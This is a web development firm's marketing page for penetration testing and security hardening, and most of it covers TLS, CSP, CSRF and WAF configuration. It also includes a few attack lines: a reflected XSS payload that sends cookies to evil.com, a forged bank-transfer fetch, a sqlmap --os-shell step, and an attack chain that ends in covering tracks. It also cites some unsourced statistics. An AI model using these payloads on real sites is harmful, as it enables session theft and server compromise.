Web App Penetration Testing: Vulnerability Exploitation

Our company is engaged in the development, support and maintenance of sites of any complexity. From simple one-page sites to large-scale cluster systems built on micro services. Experience of developers is confirmed by certificates from vendors.

Development and maintenance of all types of websites:

Informational websites or web applications
Business card websites, landing pages, corporate websites, online catalogs, quizzes, promo websites, blogs, news resources, informational portals, forums, aggregators
E-commerce websites or web applications
Online stores, B2B portals, marketplaces, online exchanges, cashback websites, exchanges, dropshipping platforms, product parsers
Business process management web applications
CRM systems, ERP systems, corporate portals, production management systems, information parsers
Electronic service websites or web applications
Classified ads platforms, online schools, online cinemas, website builders, portals for electronic services, video hosting platforms, thematic portals

These are just some of the technical types of websites we work with, and each of them can have its own specific features and functionality, as well as be customized to meet the specific needs and goals of the client.

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Web App Penetration Testing: Vulnerability Exploitation
Complex
from 1 week to 3 months
Frequently Asked Questions

Our competencies:

Development stages

Latest works

  • image_website-b2b-advance_0.webp
    B2B ADVANCE company website development
    1358
  • image_web-applications_feedme_466_0.webp
    Development of a web application for FEEDME
    1251
  • image_websites_belfingroup_462_0.webp
    Website development for BELFINGROUP
    956
  • image_ecommerce_furnoro_435_0.webp
    Development of an online store for the company FURNORO
    1188
  • image_crm_enviok_479_0.webp
    Development of a web application for Enviok
    929
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Website development for FIXPER company
    947

A client — a fintech startup on React and Laravel — once lost $50,000 due to an IDOR vulnerability: any user could substitute another user's ID in a request and obtain transaction data. We found this during a pentest, but the code was already in production. Such cases are common if penetration testing isn't done before release. We specialize in web application penetration testing and know how to find even non-obvious attack chains. Get a consultation on penetration testing — we'll assess your app's risks.

Why pentesting matters more than auditing

Security audits often limit themselves to scanning and checklists. Pentesting goes further: we actively exploit vulnerabilities to show real business impact. For example, SQL injection can lead not only to data leaks but also to full server control. We simulate an attacker's actions using modern tools and techniques. According to OWASP, pentesting identifies three times more critical vulnerabilities than automated scanning.

How we conduct testing

We use a combination of automated scanners and manual analysis. Manual testing yields 40% more findings than automated scanners, especially in authentication logic and business processes. Our engineers hold OSCP and GPEN certifications and have 5+ years of pentesting experience.

Pre-engagement

Before starting, we sign a Statement of Work (SoW) and Rules of Engagement to clearly define the scope, permissible methods, and testing window. This ensures your systems remain safe and we don't exceed boundaries.

Reconnaissance (OSINT)

We gather maximum information from open sources: subdomains, DNS records, leaked credentials on GitHub, old page versions via Wayback Machine. This reveals entry points not visible on the surface.

Scanning and analysis

We use Nmap for port scanning, Burp Suite for traffic analysis, Gobuster for directory brute-forcing. We also check JavaScript files for API keys and internal endpoints.

# Example: subdomain search via crt.sh
curl "https://crt.sh/?q=%.example.com&output=json" | jq '.[].name_value'

Exploitation

We don't just find vulnerabilities — we build attack chains. A real case:

  1. Found SQL injection in the filter parameter of the user export feature.
  2. sqlmap --os-shell — got a shell on the server.
  3. Extracted AWS keys from .env and gained access to the S3 bucket with database backups.

We check for IDOR, race conditions, session fixation, SSRF, RCE, and other typical vulnerabilities. For this, we write Python or Go scripts that emulate an attack from multiple accounts.

Example attack chain based on OWASP Top 10
  1. Reconnaissance -> find vulnerable endpoints.
  2. SQLi exploitation -> get shell.
  3. Privilege escalation -> access data.
  4. Cover tracks.

Post-exploitation

After successful exploitation, we assess potential damage: what data is compromised (PII, financial info), whether there's a path for lateral movement, and if persistence can be established. This helps the business understand real risks.

Reporting

We prepare a detailed report including:

  • Executive summary for management with risk assessment and top 3 findings.
  • Technical description of each vulnerability: PoC, screenshots, CVSS score, remediation recommendations.
  • Roadmap: P1 (24–72 h), P2 (1–2 weeks), P3 (next release).
  • Methodology: tools, timeline, what wasn't tested.

What's in the report?

The pentest report includes an executive summary for management, technical details with PoC, screenshots, and CVSS scores, as well as a remediation roadmap. We also attach the methodology and test scope.

How to prepare for a pentest?

Before the pentest, define the scope, prepare test accounts, and ensure you have log access. It's important to agree on Rules of Engagement and testing time to avoid disrupting production.

Comparison of pentest types

Parameter Black Box Grey Box White Box
System information None Partial Full
Attack depth Low Medium High
Time (simple site) 3–5 days 2–4 days 2–3 days
Realism Full Partial Low

According to OWASP Testing Guide, Grey Box provides the best balance of depth and realism.

Timelines

Application type Black Box Grey Box White Box
Simple site 3–5 days 2–4 days 2–3 days
SaaS / marketplace 10–14 days 7–10 days 5–7 days
Banking / fintech 21–30 days 14–21 days 10–14 days

Cost is calculated individually. Keep in mind that pentesting investments pay off many times over: the average cost to fix a critical vulnerability is 10 times less than the cost of remediating a breach. Order a pentest now and secure your business.

Our experience

We have conducted over 200 pentests for companies in the top 50 of our region, including fintech, retail, and government portals. Our engineers hold OSCP, GPEN, CISSP certifications and have 5+ years of experience. We guarantee confidentiality of all data and full NDA compliance.

Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection

A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.

Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.

How do we ensure comprehensive web application security?

HTTPS and Proper TLS Configuration

HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.

In Nginx/Apache configuration we check:

  • Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
  • Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
  • OCSP Stapling — speeds up certificate revocation check
  • Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)

Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.

Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.

Content Security Policy: The Most Powerful and Complex Protection

CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.

The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.

Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.

'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.

Why XSS Remains the Most Common Vulnerability?

XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:

XSS Type Example Protection
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Output escaping, CSP
Stored Comment with code saved in database Input validation, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Avoid innerHTML, use textContent

Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.

Typical case: an e-commerce site with XSS in a review form A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.

CSRF: Protecting Forms and APIs

CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.

CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.

SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.

API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.

WAF and DDoS Protection

WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:

  • Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
  • AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.

DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).

Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).

Other Mandatory Measures

Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).

SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.

Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.

Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.

How We Work

  1. Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
  2. Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
  3. Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
  4. Testing — re-penetration test, load testing, false positive check.
  5. Deployment and Monitoring — enable production CSP, set up alerts, train the team.

What's Included

  • Report with found vulnerabilities and recommendations (PDF + code snippets)
  • Ready TLS configuration (Nginx/Apache)
  • CSP policy with Report-Only and production versions
  • WAF and Rate Limiting setup
  • Dependency update plan
  • Access to monitoring tools (Sentry, Datadog)
  • 30 days of post-audit support (consultations, fixes)

Timeline and Cost

Type of Work Duration Cost
Security audit + hardening (headers, TLS, updates) 1–2 weeks Custom quote
CSP implementation (Report-Only → production) 2–4 weeks Custom quote
WAF + Rate Limiting + DDoS protection setup 1–2 weeks Custom quote
Comprehensive security review + penetration testing 3–6 weeks Custom quote

The budget is calculated individually — contact us for a project evaluation.